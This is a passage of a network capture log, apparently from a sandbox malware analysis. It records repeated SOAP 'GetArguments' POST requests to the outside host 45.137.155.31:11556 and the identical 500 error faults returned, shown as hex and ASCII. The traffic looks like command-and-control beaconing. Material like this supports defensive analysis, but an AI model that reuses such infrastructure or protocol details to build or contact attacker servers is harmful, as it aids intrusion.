62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:03.249944925 CEST	10707	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:03.319885969 CEST	10707	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:03.394078970 CEST	10708	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:02 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:04.406392097 CEST	10708	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:04.480132103 CEST	10709	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:04.550064087 CEST	10710	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:04 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:05.562767029 CEST	10710	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:05.632241964 CEST	10710	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:05.702665091 CEST	10711	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:05 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:06.719233036 CEST	10712	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:06.789391994 CEST	10712	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:06.861910105 CEST	10713	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:06 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:07.875366926 CEST	10713	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:07.944202900 CEST	10713	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:08.017796040 CEST	10714	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:07 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:09.031482935 CEST	10715	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:09.101706028 CEST	10715	IN	HTTP/1.1 100 Continue
Aug 3, 2021 23:10:09.172629118 CEST	10716	IN	HTTP/1.1 500 Internal Server Error Content-Length: 738 Content-Type: text/xml; charset=utf-8 Server: Microsoft-HTTPAPI/2.0 Date: Tue, 03 Aug 2021 21:10:09 GMT Data Raw: 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 73 3a 46 61 75 6c 74 3e 3c 66 61 75 6c 74 63 6f 64 65 20 78 6d 6c 6e 73 3a 61 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 77 73 2f 32 30 30 35 2f 30 35 2f 61 64 64 72 65 73 73 69 6e 67 2f 6e 6f 6e 65 22 3e 61 3a 41 63 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 54 68 65 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 41 63 74 69 6f 6e 20 27 68 74 74 70 3a 2f 2f 74 65 6d 70 75 72 69 2e 6f 72 67 2f 45 6e 64 70 6f 69 6e 74 2f 47 65 74 41 72 67 75 6d 65 6e 74 73 27 20 63 61 6e 6e 6f 74 20 62 65 20 70 72 6f 63 65 73 73 65 64 20 61 74 20 74 68 65 20 72 65 63 65 69 76 65 72 2c 20 64 75 65 20 74 6f 20 61 20 43 6f 6e 74 72 61 63 74 46 69 6c 74 65 72 20 6d 69 73 6d 61 74 63 68 20 61 74 20 74 68 65 20 45 6e 64 70 6f 69 6e 74 44 69 73 70 61 74 63 68 65 72 2e 20 54 68 69 73 20 6d 61 79 20 62 65 20 62 65 63 61 75 73 65 20 6f 66 20 65 69 74 68 65 72 20 61 20 63 6f 6e 74 72 61 63 74 20 6d 69 73 6d 61 74 63 68 20 28 6d 69 73 6d 61 74 63 68 65 64 20 41 63 74 69 6f 6e 73 20 62 65 74 77 65 65 6e 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 29 20 6f 72 20 61 20 62 69 6e 64 69 6e 67 2f 73 65 63 75 72 69 74 79 20 6d 69 73 6d 61 74 63 68 20 62 65 74 77 65 65 6e 20 74 68 65 20 73 65 6e 64 65 72 20 61 6e 64 20 74 68 65 20 72 65 63 65 69 76 65 72 2e 20 20 43 68 65 63 6b 20 74 68 61 74 20 73 65 6e 64 65 72 20 61 6e 64 20 72 65 63 65 69 76 65 72 20 68 61 76 65 20 74 68 65 20 73 61 6d 65 20 63 6f 6e 74 72 61 63 74 20 61 6e 64 20 74 68 65 20 73 61 6d 65 20 62 69 6e 64 69 6e 67 20 28 69 6e 63 6c 75 64 69 6e 67 20 73 65 63 75 72 69 74 79 20 72 65 71 75 69 72 65 6d 65 6e 74 73 2c 20 65 2e 67 2e 20 4d 65 73 73 61 67 65 2c 20 54 72 61 6e 73 70 6f 72 74 2c 20 4e 6f 6e 65 29 2e 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 73 3a 46 61 75 6c 74 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><s:Fault><faultcode xmlns:a="http://schemas.microsoft.com/ws/2005/05/addressing/none">a:ActionNotSupported</faultcode><faultstring xml:lang="en-US">The message with Action 'http://tempuri.org/Endpoint/GetArguments' cannot be processed at the receiver, due to a ContractFilter mismatch at the EndpointDispatcher. This may be because of either a contract mismatch (mismatched Actions between sender and receiver) or a binding/security mismatch between the sender and the receiver. Check that sender and receiver have the same contract and the same binding (including security requirements, e.g. Message, Transport, None).</faultstring></s:Fault></s:Body></s:Envelope>
Aug 3, 2021 23:10:10.187860966 CEST	10716	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/GetArguments" Host: 45.137.155.31:11556 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate
Aug 3, 2021 23:10:10.257102013 CEST	10716	IN	HTTP/1.1 100 Continue
